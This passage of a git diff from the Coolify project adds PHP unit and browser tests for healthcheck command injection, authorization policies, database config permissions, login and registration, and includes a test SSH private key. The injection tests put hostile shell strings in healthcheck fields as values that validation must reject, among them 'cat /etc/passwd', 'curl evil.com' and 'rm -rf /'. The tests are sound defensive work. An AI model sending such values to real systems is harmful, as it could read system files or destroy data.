+ $result = callGenerateHealthcheckCommands([
+ 'health_check_scheme' => 'http; cat /etc/passwd #',
+ ]);
+
+ expect($result)->not->toContain('/etc/passwd')
+ ->and($result)->not->toContain('; cat');
+});
+
+it('casts health_check_port to integer to prevent injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_port' => '8080; whoami',
+ ]);
+
+ // (int) cast on non-numeric after digits yields 8080
+ expect($result)->not->toContain('whoami')
+ ->and($result)->toContain('8080');
+});
+
+it('generates valid healthcheck command with safe inputs', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'http',
+ 'health_check_host' => 'localhost',
+ 'health_check_port' => '8080',
+ 'health_check_path' => '/health',
+ ]);
+
+ expect($result)->toContain('curl -s -X')
+ ->and($result)->toContain('http://localhost:8080/health')
+ ->and($result)->toContain('wget -q -O-');
+});
+
+it('uses escapeshellarg on the constructed URL', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_host' => 'my-app.local',
+ 'health_check_path' => '/api/health',
+ ]);
+
+ // escapeshellarg wraps in single quotes
+ expect($result)->toContain("'http://my-app.local:80/api/health'");
+});
+
+it('validates health_check_host rejects shell metacharacters via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_host' => 'localhost; id #'],
+ ['health_check_host' => $rules['health_check_host']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_method rejects invalid methods via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_method' => 'GET; curl evil.com'],
+ ['health_check_method' => $rules['health_check_method']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_scheme rejects invalid schemes via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_scheme' => 'http; whoami'],
+ ['health_check_scheme' => $rules['health_check_scheme']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_path rejects shell metacharacters via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_path' => '/health; rm -rf /'],
+ ['health_check_path' => $rules['health_check_path']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates health_check_port rejects non-numeric values via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ ['health_check_port' => '8080; whoami'],
+ ['health_check_port' => $rules['health_check_port']]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('allows valid health check values via API rules', function () {
+ $rules = sharedDataApplications();
+
+ $validator = Validator::make(
+ [
+ 'health_check_host' => 'my-app.localhost',
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'https',
+ 'health_check_path' => '/api/v1/health',
+ 'health_check_port' => 8080,
+ ],
+ [
+ 'health_check_host' => $rules['health_check_host'],
+ 'health_check_method' => $rules['health_check_method'],
+ 'health_check_scheme' => $rules['health_check_scheme'],
+ 'health_check_path' => $rules['health_check_path'],
+ 'health_check_port' => $rules['health_check_port'],
+ ]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('generates CMD healthcheck command directly', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready -U postgres',
+ ]);
+
+ expect($result)->toBe('pg_isready -U postgres');
+});
+
+it('strips newlines from CMD healthcheck command', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => "redis-cli ping\n&& echo pwned",
+ ]);
+
+ expect($result)->not->toContain("\n")
+ ->and($result)->toBe('redis-cli ping && echo pwned');
+});
+
+it('falls back to HTTP healthcheck when CMD type has empty command', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => '',
+ ]);
+
+ // Should fall through to HTTP path
+ expect($result)->toContain('curl -s -X');
+});
+
+it('validates healthCheckCommand rejects strings over 1000 characters', function () {
+ $rules = [
+ 'healthCheckCommand' => 'nullable|string|max:1000',
+ ];
+
+ $validator = Validator::make(
+ ['healthCheckCommand' => str_repeat('a', 1001)],
+ $rules
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('validates healthCheckCommand accepts strings under 1000 characters', function () {
+ $rules = [
+ 'healthCheckCommand' => 'nullable|string|max:1000',
+ ];
+
+ $validator = Validator::make(
+ ['healthCheckCommand' => 'pg_isready -U postgres'],
+ $rules
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+/**
+ * Helper: Invokes the private generate_healthcheck_commands() method via reflection.
+ */
+function callGenerateHealthcheckCommands(array $overrides = []): string
+{
+ $defaults = [
+ 'health_check_type' => 'http',
+ 'health_check_command' => null,
+ 'health_check_method' => 'GET',
+ 'health_check_scheme' => 'http',
+ 'health_check_host' => 'localhost',
+ 'health_check_port' => null,
+ 'health_check_path' => '/',
+ 'ports_exposes' => '80',
+ ];
+
+ $values = array_merge($defaults, $overrides);
+
+ $application = Mockery::mock(Application::class)->makePartial();
+ $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
+ $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
+ $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
+ $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
+ $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
+ $application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
+ $application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
+ $application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
+ $application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
+
+ $settings = Mockery::mock(ApplicationSetting::class)->makePartial();
+ $settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
+ $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
+
+ $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+
+ $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+ $reflection = new ReflectionClass($job);
+
+ $appProp = $reflection->getProperty('application');
+ $appProp->setAccessible(true);
+ $appProp->setValue($job, $application);
+
+ $method = $reflection->getMethod('generate_healthcheck_commands');
+ $method->setAccessible(true);
+
+ return $method->invoke($job);
+}
diff --git a/tests/Unit/Policies/GithubAppPolicyTest.php b/tests/Unit/Policies/GithubAppPolicyTest.php
new file mode 100644
index 000000000..55ba7f3d3
--- /dev/null
+++ b/tests/Unit/Policies/GithubAppPolicyTest.php
@@ -0,0 +1,227 @@
+makePartial();
+
+ $policy = new GithubAppPolicy;
+ expect($policy->viewAny($user))->toBeTrue();
+});
+
+it('allows any user to view system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('allows team member to view non-system-wide github app', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('denies non-team member to view non-system-wide github app', function () {
+ $teams = collect([
+ (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->view($user, $model))->toBeFalse();
+});
+
+it('allows admin to create github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new GithubAppPolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new GithubAppPolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows user with system access to update system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies user without system access to update system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows team admin to update non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies team member to update non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows user with system access to delete system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies user without system access to delete system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('canAccessSystemResources')->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = true;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('allows team admin to delete non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies team member to delete non-system-wide github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('denies restore of github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->restore($user, $model))->toBeFalse();
+});
+
+it('denies force delete of github app', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+
+ public $is_system_wide = false;
+ };
+
+ $policy = new GithubAppPolicy;
+ expect($policy->forceDelete($user, $model))->toBeFalse();
+});
diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
new file mode 100644
index 000000000..f993978f9
--- /dev/null
+++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
@@ -0,0 +1,163 @@
+makePartial();
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->viewAny($user))->toBeTrue();
+});
+
+it('allows team member to view their team shared environment variable', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->view($user, $model))->toBeTrue();
+});
+
+it('denies non-team member to view shared environment variable', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $model = new class
+ {
+ public $team_id = 2;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->view($user, $model))->toBeFalse();
+});
+
+it('allows admin to create shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows team admin to update shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies team member to update shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows team admin to delete shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies team member to delete shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('denies restore of shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->restore($user, $model))->toBeFalse();
+});
+
+it('denies force delete of shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->forceDelete($user, $model))->toBeFalse();
+});
+
+it('allows team admin to manage environment', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->manageEnvironment($user, $model))->toBeTrue();
+});
+
+it('denies team member to manage environment', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->manageEnvironment($user, $model))->toBeFalse();
+});
diff --git a/tests/Unit/PrivateKeyStorageTest.php b/tests/Unit/PrivateKeyStorageTest.php
index 00f39e3df..09472604b 100644
--- a/tests/Unit/PrivateKeyStorageTest.php
+++ b/tests/Unit/PrivateKeyStorageTest.php
@@ -112,7 +112,7 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
);
$this->expectException(\Exception::class);
- $this->expectExceptionMessage('SSH keys storage directory is not writable');
+ $this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
PrivateKey::createAndStore([
'name' => 'Test Key',
diff --git a/tests/Unit/ScheduledJobManagerLockTest.php b/tests/Unit/ScheduledJobManagerLockTest.php
index 3f3ae593a..577730f47 100644
--- a/tests/Unit/ScheduledJobManagerLockTest.php
+++ b/tests/Unit/ScheduledJobManagerLockTest.php
@@ -24,7 +24,7 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
$expiresAfterProperty->setAccessible(true);
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
- expect($expiresAfter)->toBe(60)
+ expect($expiresAfter)->toBe(90)
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
// Check releaseAfter is NOT set (we use dontRelease)
diff --git a/tests/Unit/StartKeydbConfigPermissionTest.php b/tests/Unit/StartKeydbConfigPermissionTest.php
new file mode 100644
index 000000000..dca3b0e8c
--- /dev/null
+++ b/tests/Unit/StartKeydbConfigPermissionTest.php
@@ -0,0 +1,52 @@
+configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb');
+ $action->database = $database;
+
+ if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
+ }
+
+ expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf');
+});
+
+test('keydb config chown command is not added when keydb_conf is null', function () {
+ $action = new StartKeydb;
+ $action->configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null);
+ $action->database = $database;
+
+ if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
+ }
+
+ expect($action->commands)->toBeEmpty();
+});
+
+test('keydb config chown command is not added when keydb_conf is empty', function () {
+ $action = new StartKeydb;
+ $action->configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('');
+ $action->database = $database;
+
+ if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
+ }
+
+ expect($action->commands)->toBeEmpty();
+});
diff --git a/tests/Unit/StartRedisConfigPermissionTest.php b/tests/Unit/StartRedisConfigPermissionTest.php
new file mode 100644
index 000000000..77574287e
--- /dev/null
+++ b/tests/Unit/StartRedisConfigPermissionTest.php
@@ -0,0 +1,53 @@
+configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneRedis::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb');
+ $action->database = $database;
+
+ // Simulate the chown logic from handle()
+ if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
+ }
+
+ expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf');
+});
+
+test('redis config chown command is not added when redis_conf is null', function () {
+ $action = new StartRedis;
+ $action->configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneRedis::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null);
+ $action->database = $database;
+
+ if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
+ }
+
+ expect($action->commands)->toBeEmpty();
+});
+
+test('redis config chown command is not added when redis_conf is empty', function () {
+ $action = new StartRedis;
+ $action->configuration_dir = '/data/coolify/databases/test-uuid';
+ $action->commands = [];
+
+ $database = Mockery::mock(StandaloneRedis::class)->makePartial();
+ $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('');
+ $action->database = $database;
+
+ if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
+ $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
+ }
+
+ expect($action->commands)->toBeEmpty();
+});
diff --git a/tests/v4/Browser/DashboardTest.php b/tests/v4/Browser/DashboardTest.php
new file mode 100644
index 000000000..b4a97f268
--- /dev/null
+++ b/tests/v4/Browser/DashboardTest.php
@@ -0,0 +1,162 @@
+ 0]);
+
+ $this->user = User::factory()->create([
+ 'id' => 0,
+ 'name' => 'Root User',
+ 'email' => 'test@example.com',
+ 'password' => Hash::make('password'),
+ ]);
+
+ PrivateKey::create([
+ 'id' => 1,
+ 'uuid' => 'ssh-test',
+ 'team_id' => 0,
+ 'name' => 'Test Key',
+ 'description' => 'Test SSH key',
+ 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
+hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
+AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
+uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
+-----END OPENSSH PRIVATE KEY-----',
+ ]);
+
+ Server::create([
+ 'id' => 0,
+ 'uuid' => 'localhost',
+ 'name' => 'localhost',
+ 'description' => 'This is a test docker container in development mode',
+ 'ip' => 'coolify-testing-host',
+ 'team_id' => 0,
+ 'private_key_id' => 1,
+ 'proxy' => [
+ 'type' => ProxyTypes::TRAEFIK->value,
+ 'status' => ProxyStatus::EXITED->value,
+ ],
+ ]);
+
+ Server::create([
+ 'uuid' => 'production-1',
+ 'name' => 'production-web',
+ 'description' => 'Production web server cluster',
+ 'ip' => '10.0.0.1',
+ 'team_id' => 0,
+ 'private_key_id' => 1,
+ 'proxy' => [
+ 'type' => ProxyTypes::TRAEFIK->value,
+ 'status' => ProxyStatus::EXITED->value,
+ ],
+ ]);
+
+ Server::create([
+ 'uuid' => 'staging-1',
+ 'name' => 'staging-server',
+ 'description' => 'Staging environment server',
+ 'ip' => '10.0.0.2',
+ 'team_id' => 0,
+ 'private_key_id' => 1,
+ 'proxy' => [
+ 'type' => ProxyTypes::TRAEFIK->value,
+ 'status' => ProxyStatus::EXITED->value,
+ ],
+ ]);
+
+ Project::create([
+ 'uuid' => 'project-1',
+ 'name' => 'My first project',
+ 'description' => 'This is a test project in development',
+ 'team_id' => 0,
+ ]);
+
+ Project::create([
+ 'uuid' => 'project-2',
+ 'name' => 'Production API',
+ 'description' => 'Backend services for production',
+ 'team_id' => 0,
+ ]);
+
+ Project::create([
+ 'uuid' => 'project-3',
+ 'name' => 'Staging Environment',
+ 'description' => 'Staging and QA testing',
+ 'team_id' => 0,
+ ]);
+});
+
+function loginAndSkipOnboarding(): mixed
+{
+ return visit('/login')
+ ->fill('email', 'test@example.com')
+ ->fill('password', 'password')
+ ->click('Login')
+ ->click('Skip Setup');
+}
+
+it('redirects to login when not authenticated', function () {
+ $page = visit('/');
+
+ $page->assertPathIs('/login')
+ ->screenshot();
+});
+
+it('shows onboarding after first login', function () {
+ $page = visit('/login');
+
+ $page->fill('email', 'test@example.com')
+ ->fill('password', 'password')
+ ->click('Login')
+ ->assertSee('Welcome to Coolify')
+ ->assertSee("Let's go!")
+ ->assertSee('Skip Setup')
+ ->screenshot();
+});
+
+it('shows dashboard after skipping onboarding', function () {
+ $page = loginAndSkipOnboarding();
+
+ $page->assertSee('Dashboard')
+ ->assertSee('Your self-hosted infrastructure.')
+ ->screenshot();
+});
+
+it('shows all projects on dashboard', function () {
+ $page = loginAndSkipOnboarding();
+
+ $page->assertSee('Projects')
+ ->assertSee('My first project')
+ ->assertSee('This is a test project in development')
+ ->assertSee('Production API')
+ ->assertSee('Backend services for production')
+ ->assertSee('Staging Environment')
+ ->assertSee('Staging and QA testing')
+ ->screenshot();
+});
+
+it('shows servers on dashboard', function () {
+ $page = loginAndSkipOnboarding();
+
+ $page->assertSee('Servers')
+ ->assertSee('localhost')
+ ->assertSee('This is a test docker container in development mode')
+ ->assertSee('production-web')
+ ->assertSee('Production web server cluster')
+ ->assertSee('staging-server')
+ ->assertSee('Staging environment server')
+ ->screenshot();
+});
diff --git a/tests/v4/Browser/LoginTest.php b/tests/v4/Browser/LoginTest.php
new file mode 100644
index 000000000..7666e07e2
--- /dev/null
+++ b/tests/v4/Browser/LoginTest.php
@@ -0,0 +1,52 @@
+ 0]);
+});
+
+it('shows registration page when no users exist', function () {
+ $page = visit('/login');
+
+ $page->assertSee('Root User Setup')
+ ->assertSee('Create Account')
+ ->screenshot();
+});
+
+it('can login with valid credentials', function () {
+ User::factory()->create([
+ 'id' => 0,
+ 'email' => 'test@example.com',
+ 'password' => Hash::make('password'),
+ ]);
+
+ $page = visit('/login');
+
+ $page->fill('email', 'test@example.com')
+ ->fill('password', 'password')
+ ->click('Login')
+ ->assertSee('Welcome to Coolify')
+ ->screenshot();
+});
+
+it('fails login with invalid credentials', function () {
+ User::factory()->create([
+ 'id' => 0,
+ 'email' => 'test@example.com',
+ 'password' => Hash::make('password'),
+ ]);
+
+ $page = visit('/login');
+
+ $page->fill('email', 'random@email.com')
+ ->fill('password', 'wrongpassword123')
+ ->click('Login')
+ ->assertSee('These credentials do not match our records')
+ ->screenshot();
+});
diff --git a/tests/v4/Browser/RegistrationTest.php b/tests/v4/Browser/RegistrationTest.php
new file mode 100644
index 000000000..e2a232357
--- /dev/null
+++ b/tests/v4/Browser/RegistrationTest.php
@@ -0,0 +1,67 @@
+ 0]);
+});
+
+it('shows registration page when no users exist', function () {
+ $page = visit('/register');
+
+ $page->assertSee('Root User Setup')
+ ->assertSee('Create Account')
+ ->screenshot();
+});
+
+it('can register a new root user', function () {
+ $page = visit('/register');
+
+ $page->fill('name', 'Test User')
+ ->fill('email', 'root@example.com')
+ ->fill('password', 'Password1!@')
+ ->fill('password_confirmation', 'Password1!@')
+ ->click('Create Account')
+ ->assertPathIs('/onboarding')
+ ->screenshot();
+
+ expect(User::where('email', 'root@example.com')->exists())->toBeTrue();
+});
+
+it('fails registration with mismatched passwords', function () {
+ $page = visit('/register');
+
+ $page->fill('name', 'Test User')
+ ->fill('email', 'root@example.com')
+ ->fill('password', 'Password1!@')
+ ->fill('password_confirmation', 'DifferentPass1!@')
+ ->click('Create Account')
+ ->assertSee('password')
+ ->screenshot();
+});
+
+it('fails registration with weak password', function () {
+ $page = visit('/register');
+
+ $page->fill('name', 'Test User')
+ ->fill('email', 'root@example.com')
+ ->fill('password', 'short')
+ ->fill('password_confirmation', 'short')
+ ->click('Create Account')
+ ->assertSee('password')
+ ->screenshot();
+});
+
+it('shows login link when a user already exists', function () {
+ User::factory()->create(['id' => 0]);
+
+ $page = visit('/register');
+
+ $page->assertSee('Already registered?')
+ ->assertDontSee('Root User Setup')
+ ->screenshot();
+});
diff --git a/tests/v4/Feature/SqliteDatabaseTest.php b/tests/v4/Feature/SqliteDatabaseTest.php
new file mode 100644
index 000000000..d2df5c0a6
--- /dev/null
+++ b/tests/v4/Feature/SqliteDatabaseTest.php
@@ -0,0 +1,18 @@
+getDriverName())->toBe('sqlite');
+});
+
+it('runs migrations successfully', function () {
+ expect(Schema::hasTable('users'))->toBeTrue();
+ expect(Schema::hasTable('teams'))->toBeTrue();
+ expect(Schema::hasTable('servers'))->toBeTrue();
+ expect(Schema::hasTable('applications'))->toBeTrue();
+});
diff --git a/versions.json b/versions.json
index 1ce790111..7409fbc42 100644
--- a/versions.json
+++ b/versions.json
@@ -1,10 +1,10 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.463"
+ "version": "4.0.0-beta.464"
},
"nightly": {
- "version": "4.0.0-beta.464"
+ "version": "4.0.0-beta.465"
},
"helper": {
"version": "1.0.12"